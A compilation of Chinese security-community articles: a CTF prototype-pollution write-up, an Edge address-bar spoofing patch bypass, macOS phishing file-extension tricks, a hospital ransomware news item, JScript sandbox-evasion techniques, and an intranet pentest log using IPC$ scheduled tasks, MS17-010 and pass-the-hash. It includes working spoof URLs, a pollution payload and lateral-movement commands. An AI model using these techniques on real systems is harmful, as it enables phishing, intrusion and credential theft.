60s ，所以还需要向前枚举。这里推荐大家使用[MongoDB ObjectId ↔ Timestamp
Converter](https://steveridout.github.io/mongo-object-time/)方便查看时间戳
import requests
url = 'http://localhost:4545/getPOST?id=%s144f813f31%s'
time = 0x5c51b9c9
counter = 0xa4c0e2
for i in range(100):
counter = hex(counter - 1)[2:]
for i in range(1000000):
time = hex(time - 1)[2:]
nurl = url % (time, counter)
res = requests.get(nurl)
if 'Not found' not in res.text:
print(res.text, nurl)
time = int(time, 16)
counter = int(counter, 16)
break
time = int(time, 16)
终于在`id=5c51b911144f813f31a4c0df`得到关键信息
I told you you follow the White Rabbit. http://localhost:4545/getPOST?id=5c51b98d144f813f31a4c0e1
Did you actually come back ?? Go Away! http://localhost:4545/getPOST?id=5c51b952144f813f31a4c0e0
Shit MR Anderson and his agents are here. Hurryup!. Pickup the landline phone to exit back to matrix! - /4f34685f64ec9b82ea014bda3274b0df/ http://localhost:4545/getPOST?id=5c51b911144f813f31a4c0df
访问`/5c51b911144f813f31a4c0df`得到源码
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a,b){
for (var attr in b){
if(isObject(a[attr]) && isObject(b[attr])){
merge(a[attr],b[attr]);
}
else{
a[attr] = b[attr];
}
}
return a
}
function clone(a){
return merge({},a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')))
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if(copybody.name){
res.cookie('name', copybody.name).json({"done":"cookie set"});
}
else{
res.json({"error":"cookie not set"})
}
});
app.get('/getFlag', (req, res) => {
var аdmin=JSON.parse(JSON.stringify(req.cookies))
if(admin.аdmin==1){
res.send("hackim19{}");
}
else{
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
需要我们将`const admin`的`admin`属性设置为1，比较明显的一个 js
原型链污染，我们只需要让一个`Object.prototype`设置为`{"admin":1}`即可，而我们还需要一个`name`参数，所以我们大致可以这样构造：`{"name":
"xxx", "__proto__":{"аdmin":"1"}}`
在第二个for循环中，由于`__proto__`是一个`Object`，会递归进入`merge()`，由于`__proto__`有一对`key-value`，所以会判断`__proto__["admin"]`是否是`Object`，不是就进入`else`，对原型`__proto__["admin"]`赋值为1，这就完成了原型链污染的操作。
最后访问`/getFlag`成功获得flag
hackim19{Prototype_for_the_win}
国内关于原型链的文章还是比较少的，推荐一篇梅子酒师傅写的[JavaScript原型链污染](https://otakekumi.github.io/2018/09/11/JavaScript_Prototype_Pollution/)，写的还是不错的。 | 社区文章 |
# 【技术分享】如何绕过最新微软Edge补丁并继续欺骗地址栏加载恶意警告页面
|
##### 译文声明
本文是翻译文章，文章来源：brokenbrowser.com
原文地址：<https://www.brokenbrowser.com/bypass-the-patch-to-keep-spoofing-the-address-bar-with-the-malware-warning/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[overXsky](http://bobao.360.cn/member/contribute?uid=858486419)
稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**概述**
本周二，微软推送了一个[重大补丁](https://technet.microsoft.com/library/security/MS17-006)，修复了许多个重大安全漏洞，极大地提高了Edge浏览器开发者及其安全性的声誉。但我希望微软能够说服那些依然遵循荒唐的[IE政策](https://www.brokenbrowser.com/on-patching-security-bugs/)的守旧派，或者至少能够公开的解释一下他们为什么毫不关心IE——要么废除它，要么保护它。
如果你还没有看过之前的一篇《[使用恶意软件警告欺骗地址栏](https://www.brokenbrowser.com/spoof-addressbar-malware/)》，建议你在阅读下面讲如何绕过补丁的文章之前先去看一下。（注：有[中文版本](http://www.freebuf.com/articles/web/122924.html)）
**超快速回顾**
微软Edge允许我们加载它的一些包含.html页面的内部资源，比如像acr_error.htm就可以，但是像BlockSite.htm这样的却不行。这是为什么呢？因为后者可以轻松地欺骗内部恶意软件警告消息和地址栏。几个月前，我们曾通过[改变URL中的一个句点使其变成转义副本](https://www.brokenbrowser.com/spoof-addressbar-malware/)的方法绕过了这一限制。不过现在这个漏洞已经被修复了，Edge开发者做了更改使得在进行检查/字符串比较操作之前事先解码了我们的欺骗URL。所以，我们现在需要找到一种新的方法。来吧！现在关掉手头让你分心的事物，投入时间并沉浸在这趣味无穷的比特世界中。
**目前没有符号名文件**
微软的很多公开符号都没有上传，所以我们就无法在极短的时间内出色地完成分析。但也不用太过担心，不管怎样我们都会尽力并成功绕过它。只需要以攻击者的方式时刻在心中记住这一点：我们的目标是绕过这个补丁，就是这样。而不是一直纠结于：“唉，我需要休息一周的时间直到微软推送了符号名才行。”
**查找并分析“BlockSite.htm”字符串**
我们知道在海量的Edge代码中，某个地方一定存在着对“BlockSite.htm”的字符串比较操作。将Edge附加到调试器上，找到这个字符串并在此处设立内存断点，从而观察哪段代码树读取了它。
下面这行JavaScript代码甚至都没有打开一个新的窗口就抛出了“ACCESS_DENIED”拒绝访问异常。
window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite.htm");
Edge这种阻塞内部URL的行为是合理的：这个特定的错误页面能够接受来自hash/query-string中的参数，这就给了攻击者欺骗地址栏和页面内容的可乘之机。
我们的目标是再次愚弄Edge打开该URL。然而，这次的任务中我们会使用下面的URL（经过编码的句点和尾部的facebook，这样方便在内存中找到字符串）
window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com");
接下来就让我们附加Edge进程然后查找BlockSite.htm字符串，并将搜寻范围限制在EdgeHtml.dll模块中，因为绝大多数的Edge代码都驻留在此。这只是个猜测，如果我们没有找到想要的结果可以尝试搜寻其他模块，甚至所有的Edge文件。
成功加载正确的Edge进程后，我们需要知道模块的起始和结束位置，这样才能在内存中以确定的范围进行搜索。
0:029> lm m edgehtml
Browse full module list
start end module name
00007fff`54ba0000 00007fff`5614d000 edgehtml
现在就可以在这段地址范围内执行search命令搜索感兴趣的字符串了。Windbg语法看上去复杂得有点吓人，但我可以告诉你下面的指令中，“s”执行搜索命令，“[1]”使它只返回地址信息，“u”说明目标是unicode字符串，后面那串丑陋的64位地址就是查找范围，要查找的字符串当然是“BlockSite”。
0:029> s -[1]u 00007fff`54ba0000 00007fff`5614d000 "BlockSite"
0x00007fff`55d90846
0x00007fff`55d90944
0x00007fff`55e52c02
漂亮！WinDBG立即返回了三个结果，让我们来试试这个结果对不对，命令就是三个：du du du。这总让我联想到我朋友Eduardo的绰号“Dudú”。
0:029> du 0x00007fff`55d90846; du 0x00007fff`55d90944; du 0x00007fff`55e52c02
00007fff`55d90846 "BlockSite.htm"
00007fff`55d90944 "BlockSite.htm"
00007fff`55e52c02 "BlockSite.htm"
这让我很兴奋。让我们在这三处分别下断点，来看看是谁访问了该字符串。
ba r1 0x00007fff`55d90846
ba r1 0x00007fff`55d90944
ba r1 0x00007fff`55e52c02
g （继续运行吧，Edge！）
很好。现在回到我们的JavaScript代码并尝试打开恶意URL。
window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com");
哇！立即到达断点处。现在已经回到了WinDbg，看看我们得到了些什么结果。
Breakpoint 0 hit
KERNELBASE!lstrlenW+0x18:
00007fff`74f6e2c8 75f6 jne KERNELBASE!lstrlenW+0x10 (00007fff`74f6e2c0) [br=1]
看上去我们正处在内核模块中，不要忘了我们的目标是找出EdgeHtml模块中哪段代码引用了BlockSite字符串。让我们先看看栈轨迹中的最近的5次调用。
0:013> k 5
# Child-SP RetAddr Call Site
00 000000d3`14df8de8 00007fff`74f70244 KERNELBASE!lstrlenW+0x18
01 000000d3`14df8df0 00007fff`54fee629 KERNELBASE!StrStrIW+0x54
02 000000d3`14df8eb0 00007fff`55004e6b edgehtml!Ordinal107+0xc6059
03 000000d3`14df9f50 00007fff`55007272 edgehtml!Ordinal107+0xdc89b
04 000000d3`14df9f80 00007fff`55004cae edgehtml!Ordinal107+0xdeca2
开头两个属于内核模块，接下来的三个都来自于EdgeHtml。说得更明白些，edgehtml中的一段代码调用了内核模块/库中的StrStrIW函数，这看上去十分标准。快速地Google一下StrStrIW就能看到MSDN对其的[说明文档](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773439\(v=vs.85\).aspx)。
文档相当清楚，也多亏了栈轨迹我们得知edgehtml调用了该函数。让我们在Edge返回地址下断点来分析到达该点前的代码。（另外，我们还可以使用两次pt命令，即跳至下一返回命令。可以自己试一试！）
bp edgehtml!Ordinal107+0xc6059
g
执行后立马停在了断点处：
Breakpoint 3 hit
edgehtml!Ordinal107+0xc6059:
00007fff`54fee629 4885c0 test rax,rax
但我们刚从字符串比较处返回，不妨往回看看究竟发生了什么。在WinDbg中我们可以快速向上反汇编（ub命令）
0:013> ub $ip
edgehtml!Ordinal107+0xc602d:
00007fff`54fee5fd lea rdx,[edgehtml!Ordinal138+0x3e4ff8 (00007fff`55d5e6b8)]
00007fff`54fee604 lea rcx,[rsp+30h]
00007fff`54fee609 call qword ptr [edgehtml!Ordinal138+0x38b5b8 (00007fff`55d04c78)]
00007fff`54fee60f test eax,eax
00007fff`54fee611 jne edgehtml!Ordinal107+0xc6108 (00007fff`54fee6d8)
00007fff`54fee617 lea rdx,[edgehtml!Ordinal138+0x417160] (第二个参数)
00007fff`54fee61e lea rcx,[rsp+30h] (第一个参数)
00007fff`54fee623 call qword ptr [edgehtml!Ordinal138+0x38b5c8]
很好。可惜我们没有全部的符号名所以结果看上去有些丑陋。但是不用担心，我们知道我们刚从上一个调用返回（最下面一行处那个调用）。并且在该调用之前传递过两个参数，一个在rdx中另一个在rcx中（那两行lea）。但因为call已经执行过了所以目前我们不知道那两个参数是什么，而且这两个参数的值可能是可以被更改的。让我们在最近的一个调用下断点（这样它就不会被执行）做进一步检查，并且一旦我们到达断点就检查其中的参数：
bd * (取消之前的断点)
bp 00007fff`54fee623
g
现在我们将有机会查看在进行字符串比较之前究竟发生了什么。运行之前的JavaScript命令可以来到断点的位置。
Breakpoint 4 hit
edgehtml!Ordinal107+0xc6053:
00007fff`54fee623 call qword ptr [edgehtml!Ordinal138+0x38b5c8] ds:00007fff`55d04c88={KERNELBASE!StrStrIW (00007fff`74f701f0)}
我们调查一下传递给StrStrIW函数的参数：
0:013> du @rcx (First argument)
000000d3`14df8ee0 "ms-appx-web://microsoft.microsof"
000000d3`14df8f20 "tedge/assets/errorpages/BlockSit"
000000d3`14df8f60 "e.htm?BlockedDomain=facebook.com"
0:013> du @rdx (Second argument)
00007fff`55d90820 "/assets/errorPages/BlockSite.htm"
哈！我们看到%2e（句点）已经被解码了。这让我感觉像是Edge调用了StrStrIW函数后检查了“/assets/errorPages/BlockSite.htm”是否包含在URL中。这是我目前相信的伪代码：
var url = "ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite.htm?BlockedDomain=facebook.com";
var badString = "/assets/errorPages/BlockSite.htm";
if (badString is inside URL) ACCESS_DENIED;
我们需要记住的很重要的一点是，之所以要调查这里是因为在字符串比较操作之后我们没有看到别的检查，而且比较操作就在我们面前，很快就将被执行。不过我们不用考虑的太多，只要能够用类似的技术绕过就行了。
最主要的问题在于，此处的比较操作是使用硬编码的字符串来进行的，但我们知道URL可以有很多种方式来写。之前我们的办法就是编码一个句点，这次需要想出一种新的办法，因为打补丁后会在作比较前解码句点从而导致失败。
现在我的脑海中浮现出许多种方式，比如多重编码，或者在URL中加入更多的斜杠。让我们试一试加入一个斜杠，可能能够欺骗字符串检查并被视为一个合法的URL。所以我们在errorPages后面加入一个斜杠，像这样：
window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages//BlockSite.htm?BlockedDomain=facebook.com");
哇！好像一个简单的双斜杠就能绕过补丁并让Edge加载错误页面，让我们构造一个更完善的查询字符串来完全骗过恶意软件警告页面：
window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages//BlockSite.htm?BlockedDomain=facebook.com&Host=These guys at Facebook and in particular, Justin Rogers#http://www.facebook.com");
**PoC验证及后话**
PoC链接：
<https://www.cracking.com.ar/demos/edgesmartscreen/patch-bypass-1.html>
打开后界面如图所示：
使用方式很简单，比如想要执行一个如下的JavaScript命令：
window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages//BlockSite.htm?BlockedDomain=http://www.baidu.com&Host=It's not safe,please use https://www.so.com/ instead#http://www.baidu.com");
只需在第一个文本框中输入“http://www.baidu.com”，第二个文本框中输入“It's not safe, please use
https://www.so.com/ instead”，然后点击open smartsceen按钮，就会弹出baidu.com不安全的警告：
试想一下，当普通用户没有防备地点击了遭受攻击的网站中的按钮（比如导航网站的搜索引擎或者银行登录页面），网站弹出一个警告页面并甩出一个新的钓鱼链接，然后用户可能就中招了。
其实最后会发现绕过的方式十分简单，并且十分有效，但发现并找到这一思路的过程值得学习。 | 社区文章 |
# macOS小技巧：文件扩展名
|
##### 译文声明
本文是翻译文章，文章来源：/blog.xpnsec.com
原文地址：<https://blog.xpnsec.com/macos-phishing-tricks/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
如果大家关注我们之前在MDSec上发表过的[博文](https://www.mdsec.co.uk/blog/)，可以看到我们最近在macOS方面的研究成果。
作为红方，在攻击Windows端点时我们可以使用各种各样的手段，比如HTA、OLE、包含宏的Office文档或者伪装成合法应用的简单二进制程序，我们总有各种办法在钓鱼攻击中获得目标主机的访问权限。
不幸的是，对于macOS系统来说我们的运气并没有那么好。如果我们在网上搜索一番，会发现很难找到在攻击macOS时可以为我们所用的技术。
在本文中，我想给大家介绍我们在研究过程中发现的一些小发现，这些小发现很难独立撑起一篇完整的文章；也会与大家分享一些小技巧，可能对大家在下次攻击macOS时有所帮助，或许能借此在系统中获得立足之地。
## 二、面临的障碍
在面对macOS系统时，我们会面临什么样的障碍？令人惊讶的是，第一个障碍也是最容易绕过的障碍：Gatekeeper。
Gatekeeper是macOS在防御从互联网下载恶意应用时的第一道防线。
普通Mac用户肯定对如下提示窗口非常熟悉：
从这个提示窗口中，macOS告诉我们已下载的这个应用并不可信，这主要是因为缺少代码签名证书。
毫无疑问，在渗透过程中我们的任务是尽可能模仿真实攻击者已使用的一些技术。查看恶意软件分析报告，我们可以快速找到真实攻击环境中攻击者如何绕过这个限制：
如上图所示，方法其实很简单，那就是使用有效的开发者账号来绕过该限制，这也是恶意软件开发者采取的方法。
显然，通过任何恶意方法获得证书并不可行，也就是说我们要么选择购买有效的开发者账户，成功绕过Gatekeeper，要么扩展我们的社会工程学技巧，说服用户帮我们绕过Gatekeeper。
在下文中我们采用的是第一种方法，然而在实际攻击场景中，这种方法有个明显的缺点，那就是会将开发者证书与恶意软件关联起来。
那么我们如何才能构造足够迷惑人的诱饵，成功突破目标呢？
## 三、APP文件
几星期以前（实际上是几个月以前，这篇文章已经构思了好长一段时间），我在推特上公布了一个[截图](https://twitter.com/_xpn_/status/1022130023761944576/photo/1)，介绍了如何在钓鱼攻击中隐藏一个app：
大家可能知道，在之前版本的macOS中，我们有可能将某个文件命名为`mysecrets.docx.app`。在这种情况下，macOS会自动移除`.app`扩展名，这样用户一开始观察这个文件时可能以为看到的是`.docx`文件。
然后Apple做了一些修改，现在如果在`.app`扩展名之前的文件扩展名已注册，那么就会显示完整的扩展名。比如，如果我们将某个文件命名为`mysecrets.docx.app`，那么我们看到如下画面：
有趣的是，无效的扩展名并不会显示出完整的`.app`名。比如，如果我们将应用重命名为`secrets.docy.app`，我们可以看到如下画面：
那么我们如何才能在满足如上限制条件的前提下，构造出更有欺骗性的诱饵呢？好吧，其实我们可以利用“同形字”技术来绕过对合法文件扩展名的检测。比如，如果我们使用IronGeek的[Homoglyph
Generator](https://www.irongeek.com/homoglyph-attack-generator.php)工具，可以看到许多可选项，能够呈现近乎相似的文件扩展名：
简单选择合适的同形字符后，我们可以满足如上限制条件，并且能够成功隐去`.app`扩展名。然后接下来我们需要为我们的载荷构造一个图标，如下所示：
## 四、投递APP
现在我们已经构造完载荷，也具备欺骗性的文件名，现在我们需要将载荷发送给我们的受害者。不幸的是，与Windows环境不同，在这种场景下我们不能使用文件链接方式或者将其封装到一片HTML数据中，这是因为`.app`实际上是一个目录，我们需要在发送之前进行打包。
为了投递文件后增加攻击成功的概率，我们需要理解目标会通过那种方式下载我们的载荷。
假设经过踩点后，我们知道目标使用的是Safari，那么这正合我们意，因为Safari会帮我们自动下载并解压文件，只给用户呈现一个非常有诱惑力的图标，留待用户点击：
但我们很快发现用户所选择的浏览器并不是我们需要考虑的唯一因素，如果受害者使用的是其他解决方案，比如Google
Mail呢？此时我们就会遇到问题。在这种情况下，Google通常会提供`.zip`文件的预览，这样用户很快就会发现我们的文件不是`.docx`文件，而是一个`.docx.app`文件，提高警觉度。
那么我们如何解决这个问题？我们知道macOS将Archive Utility作为解压缩文件的默认解决方案。启动Archive
Utility后，我们可以看到该工具支持3种文件类型：
也就是说，支持以下3种文件：
* 压缩文件：`cpgz`
* 常规归档文件：`cpio`
* Zip归档文件：`zip`
我们知道Google Mail会自动解开`.zip`文件，但其他两种文件会怎么处理呢？
对于`CPGZ`文件，我们可以看到包含在其中的`CPIO`文件：
如果我们使用的是`CPIO`：
非常棒，根据前面的测试结果，如果我们发送的是`.cpio`文件，Google
Mail只会简单提示用户下载该文件，但这个文件名本身有没有问题？受害者看到一个`.cpio`文件时会不会有所警觉？
让我们加载Archive Utility来看看我们是否可以找到解决办法。我们可以使用`Hopper`工具分析Archive
Utility，先来看看`[BAHController doUnarchiveFile:]`这个方法：
其中包含一个函数调用：`[BAHController dearchiveItem:withController:isIntermediateItem:]`
以上代码调用了`+[BAHCodec
decompressorForFile:andOptions:]`，从中我们可以看到应用使用了`+[BAHDecompressor
classNameForFile:checkMagic:isPrimaryArchive:]`方法来判断应该选择哪种解压器。
首先我们可以看到应用会搜索常见的几种文件扩展名：
代码逻辑非常直白，一旦找到支持的文件扩展名后，我们可以看到如下调用：
r13 = [BAHDecompressor reconcileClassName:r13 withMagic:[[BAHController sharedInstance] magicInfoForFile:r12] isPrimaryArchive:sign_extend_64(var_2C)];
第一个调用为`-[BAHController
magicInfoForFile:]`，这是`/usr/bin/file`工具的简单封装函数，可以无视文件的扩展名，获取文件的具体类型。输出结果传递给`+[BAHDecompressor
reconcileClassName:withMagic:isPrimaryArchive:]`，确保文件扩展名与`file`的输出相匹配：
继续跟踪，我们可以看到`file`会识别魔术字节（magic byte），根据这些信息判断文件类型（而非文件扩展名），选择匹配的解压缩器。
这意味着我们可以创建Archive
Utility支持的各种归档文件（如`CPIO`、`GZIP`等），然后随便使用支持的其他文件扩展名（如`.cpio`、`.tar.gz`、`.uu`、`.zip`等），这样Archive
Utility就会自己会去处理这些不匹配因素。
利用这些知识点，我们可以创建一个`CPIO`文件，然后将其重命名为`.zip`文件：
非常棒，Google Mail只会显示一个错误信息，提示用户下载。当受害者访问该文件时，可以看到Achive Utility会正常解压出我们的文件。 | 社区文章 |
# 流感高发季 省级儿童医院竟遭病毒勒索
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**气愤！春节刚过勒索病毒就入侵儿童医院**
2月24日消息，据微博网友爆料，国内一家省级儿童医院今晨出现系统瘫痪状况，患者无法顺利就医，正值儿童流感高发季，医院大厅人满为患。据悉该院多台服务器感染GlobeImposter勒索病毒，数据库文件被病毒加密破坏，黑客要求院方必须在六小时内为每台中招机器支付1个比特币赎金，约合人民币66000余元。
GlobeImposter是目前流行的一类勒索病毒，它会加密磁盘文件并篡改后缀名为.Techno、.DOC、.CHAK、.FREEMAN、.TRUE等形式。由于其采用高强度非对称加密方式，受害者在没有私钥的情况下无法恢复文件，如需恢复重要资料只能被迫支付赎金。
记者采访360安全中心获悉，自从去年WannaCry爆发以后，勒索病毒的攻击重心已逐渐由个人电脑用户转向企业服务器，尤其是以弱口令爆破远程登录服务器、再植入勒索病毒的攻击方式最为常见。
在近年来众多勒索病毒事件中，专门治病疗毒的医院却成为病毒感染重灾区，网络安全事故真正开始威胁生命安全。由于医院拥有大量需要紧急使用的信息和数据，难以承受信息系统停止工作的影响，包括法医学记录和数据、病患资料以及预约信息等等，都必须尽快恢复数据，因此特别受到勒索病毒的“青睐”。截至发稿前，该儿童医院值班人员表示系统确实瘫痪了，目前已可以就医，但是系统还没有完全恢复正常。
360安全专家表示，对付勒索病毒必须以预防为主，针对GlobeImposter等勒索病毒常用的远程登陆攻击手段，360安全卫士专门为服务器系统提供了远程登录保护功能，可以防止黑客利用爆破弱口令远程登录系统，从而避免遭遇数据被加密勒索的损失。 | 社区文章 |
# 【技术分享】JScript中逃避沙箱检测的的方法
|
##### 译文声明
本文是翻译文章，文章来源：labs.lastline.com
原文地址：<http://labs.lastline.com/evasive-jscript>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **myswsun**
****](http://bobao.360.cn/member/contribute?uid=2775084127)
**预估稿费：140RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:linwei@360.cn) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**0x00 前言**
恶意软件经常利用逃避技术，这些技术被恶意软件用来在传统沙箱中隐藏它的恶意性。过去，我们讨论过在二进制程序中不同的逃避技术，最近我们看到了在一些恶意的office文档中利用VBA宏的逃避技术。在这里我们在JScript脚本中测试这种逃避技术。
JScript是微软对于ECMAScript的别称。实际上，JScript看起来像Javascript，多了一些特征，例如条件编译。大部分恶意的JScript程序利用邮件附件传播，然后当用户点击附件，脚本被Windows
Script
Host（WSH，即csript.exe或wscript.exe）执行。利用WSH提供的对象和服务，JScript程序获得设备资源的访问权限（例如访问和修改文件系统或创建新进程），并且能够实施有效的攻击。
为了执行真正的恶意行为，JScript程序经常实现一种或多种逃避技术来使得他们不被沙箱系统检测到。下面是一些相关技术。
**0x01 Stalling Code**
Stalling
code的原理非常简单：使执行变慢以致分析系统过早分析结束，恶意程序在分析下将不会做任何恶意的行为。当然，在一个真实的用户机器上，在stalling
code执行完后将执行真正的恶意代码。
一个实现这种技术的简单的方式是包含一些简单代码的无用的循环：这些循环一般是些花销比较大的操纵，但是结果从不被用。例如我们一个例子是在一个上千次的循环中通过解码字符串来生成一个字符串，然后在循环外面从没被使用：
如果分析成功绕过循环（或者足够快的执行），一些恶意行为被暴露，包括C&C服务器。
**0x02 COM对象仿真的探测**
JScript程序通过传递指定的ProgID参数给WScript.CreateObject方法获得COM对象。例如以“Scripting.FileSystemObject”参数调用CreateObject函数将实例化FileSystemObject对象，这个对象提供了一些可以用来操作文件系统的方法。想让这个操纵有效，相应的COM对象必须正确的在系统中被安装和注册。
因为COM对象经常提供一些安全相关的功能，他们的实例化和使用被分析系统密切监控。在许多情况下，简单的观察下程序想要操纵的COM对象，即使该对象没有在分析系统中被真实提供，这将提供有用的线索来判断这个程序是否是恶意的。例如一个脚本尝试加载一个未知的对象并且调用一个以长字符串为参数的方法，这可能是为了溢出缓冲区漏洞攻击。这种情况，一些分析系统假装任何ProgID是可靠的，同时这些ProgID并没有相应的COM控件被安装，他们返回一个假的对象能跟踪这个对象的所有调用。这个技术使得分析系统能够处理相对不流行的COM对象且这些对象没被分析环境提供。
不幸的是，这个技术也被恶意的脚本用来区分分析系统和真实的用户环境。例如我们发现下面的代码段：
在这个例子中，这个脚本试图加载一个不存在的COM控件（不可靠的ProgID“dcc”）：如果实例化成功，变量BKYMHYNV值为非false（表明脚本在分析环境下运行），否则值为false。在后面的代码这个变量将被校验：如果BKYMHYNV值为false，脚本将执行它的恶意操作，否则没有恶意行为发生。
**0x03 Timebombs**
一个简单而有效的逃避技术是只在一段时期内才激活恶意行为：如果在这段时间外分析将不能看见任何恶意操作。
这个技术的例子如下：
在这个例子中，这段代码校验了当前日期的年，当Date的返回值是2016时才会有恶意操作。
**
**
**0x04 执行环境**
流行的一类逃避技术是校验脚本执行环境所拥有的特征是否与在常规用户环境中所期待一样。这些特征是与用户的行为相关联的（如“用户最近是否打开至少5个office文件？”）；其他是与硬件特征相关的（如“是否至少1G内存？”）。反常的特征将被作为脚本判断执行环境的线索。
我们观察到一些JScript样本用CPU核心数目来区分常规设备和分析系统：
代码中读取%NUMBER_OF_PROCESSORS%环境变量，这个环境变量包含所运行机器的cpu核心数目。如果这个值不在期望内，脚本将立刻停止运行（数量小于1或大于8），否则将下载一个payload。
**0x05 总结**
我们已经讨论了一些被用于恶意的JScript的逃避技术：提供了一些运行在WSH下的JScript区分分析系统和用户环境的技巧，继而避免触发检测。
我们已经注意到这些技术不是只针对JScript的，他们同样可以用在恶意的可执行样本和恶意的office文档中。
**0x06 样本**
下面是本文提到的例子的样本：
[1f7b32e6db703817cab6c2f7cb8874d17af9d707ce17579dc30aee2cdadf082f](https://www.virustotal.com/en/file/1f7b32e6db703817cab6c2f7cb8874d17af9d707ce17579dc30aee2cdadf082f/analysis/)
[603c5aa66a33f094e2840fc5d5b9f70b8810dd70745f5440d7d74b7a01c3f4be](https://www.virustotal.com/en/file/603c5aa66a33f094e2840fc5d5b9f70b8810dd70745f5440d7d74b7a01c3f4be/analysis/) | 社区文章 |
朋友拿下了一个webshell，想打打内网，但是无奈进不去，特此帮兄弟看看，这里也记录一下吧。先看杀软，此机器没有杀软.
然后在看有没有域，没有域.
然后我们就去抓密码，可能存在一种情况，就是本地的administrator的密码，可能是域管的密码。但是在这台机器上，我们并没有抓到administrator的密码
这个时候就有两种思路。
1.机器能出网，直接上cs。抓到本地管理的密码，横向撞一波，然后上去，抓一波密码，如果有域账号，就用域账号去装域机器，抓域管的账号密码。抓到大体上渗透就借宿。如果没有抓到域机器的，再用工作组管理员的账号去装其他工作组，再去抓密码。直到抓到域机器账号为止。
2.机器不能出网（但是也可以看看其他协议，比如tcp不行的话，我们可以看看dns，如果dns可以的话我们也能上线）。那么我们可以尝试用ipc去连接其他机器。然后通过计划任务的方法上线cs。我们可以先看看net
use有没有机器建立了连接。如果有，那就更好，直接计划任务执行bat文件。如果没有，那我们只有一个一个net use去尝试。
然后我这台webshell就是无法出网，现在这个域只有这一台机器，根本上不了线。所以我们就先看看net use.看看是否建立了连接.
然后我们在一个一个去试探。
果然这个时候我们就成功的拿下一个
然后这个时候我们就用计划任务去上线，（我用的sc），直接把命令放上来.
1.首先在本机创建一个bat文件，里面写入想要执行的命令。
whoami >> c:\aa\1.txt
ipconfig >> c:\aa\1.txt
netstat -ano >> c:\aa\1.txt
2.然后在将1.bat文件考本到远程ipc的机器
copy 1.bat \192.168.160.139\C$\windows\temp
3.执行计划任务
schtasks /create /tn task1 /s 192.168.160.139 /tr C:\aa\1.bat /sc ONSTART /RU
system /f
schtasks /run /tn task1 /s 192.168.160.139 /i
schtasks /f /delete /tn task1 /s 192.168.160.139
然后这个时候就等待，如果上不去那只能说这台机器也无法出网，那唯一的思路就是找找数据库的密码，去翻密码。因为此机器开了1521.也是web界面。所以只有找找oracle.
然后很幸运，我们88的机器能出网，至此，cs上了第一台机器。
然后抓密码
于是我们就拿下了管理员的hash。这个时候我们就可以批量pth一波
结果全失败了。现在我们的情况是拥有一个webshell。以及1台内网的工作组pc机器（此机器为mssql。开了1433）。
我们还是在88的机器net use一遍，没有什么新的收获.然后这个时候我们看看这个c段的机器。这个域应该很大的。
此时我们就用ms17010扫一波，先用socks的代理走出来。这时我把目标锁定在111这台机器（当然，其他有洞的机器都打了，都没有打不进去），但是用msf的exp是打不动的。这时候考虑用原生py打一波。
首先用msf生成一个32位的dll，msfvenom -p windows/meterpreter/reverse_tcp LHOST=
LPORT=12399 -f dll > axgg.dll
然后我们现在kali设置一个监听代理，为的是让原生py进入
这里我的payload有问题，不应该用set payload
windows/x64/meterpreter/reverse_tcp.后头打进去了，但是一直说我的sessions
die当时没有注意看。所以应该用这个paylaod
set payload windows/meterpreter/reverse_tcp.
然后回到正题，用原生py打进去。
好的，现在我们的meterptrter弹过来了。
然后我们看出来是一台ftpserver.但是用shell却无法将cmd反弹过来。然后我们只好抓抓密码。抓完了hash。因为此机器为域机器，所以我们直接反弹到cs上。这里我反弹的方法为meterpreter
upload cs生成的exe。如果有杀软，我们可以background，然后将msf的meterpreter反弹到cs。
然后抓一波hash。成功抓到administrator的密码
这个时候横向pth域控，直接拿下
然后我们再看看我们的身份（域管，直接拿下）
然后再看看有哪些组。
这时，这个域已经打完了。做一下总结吧！
112段起手，但是不能出网，net
use存在已知的ipc连接，那么我们直接ipc连接，用sc或者计划任务上线了我们的88段，抓密码虽然抓到了administrator的hash。但是pth其他工作组没有撞上。为什么要装其他工作组，因为其他工作组的administrators这个管理组可能是其他域机器的域管理员，如果能装上那么就会很幸运，但是这里我们没有撞上。此时我们用msf的ms17_010批量扫了一波，有10多台左右，但是打不进去，这个时候我们就需要用原生py打一波，成功打下了144，至此，我们进入域，现在需要的就是从meterpreter反弹shell到cs。反弹上来抓一波密码，成功抓到administrator。直接pth过去。然后拿下域控。此时这个域已经打完。但是还是比较幸运，机器没有杀软，如果有杀软，还是特别硬的话，我们只能回到112，他是oracle的数据库，我们可以拿下oracle，然后在横向到其他web，在打内网。 | 社区文章 |
# 介绍
本节介绍 `triton` 中 `pin` 使用方式以及一些有意思的`demo`。`pin`
是一个二进制插桩工具，可以在程序运行时通过回调函数的机制监控程序的运行，可以用来做代码覆盖率，污点分析等。`triton` 为 `pin` 包装了一层
`python` 的接口，现在我们可以使用 `python` 来运行 `pin`, 非常的方便。
相关资源位于
https://gitee.com/hac425/data/tree/master/triton/learn
# 简单使用
下面以一个简单示例来看看如何在 `Triton` 里面使用 `pin`。
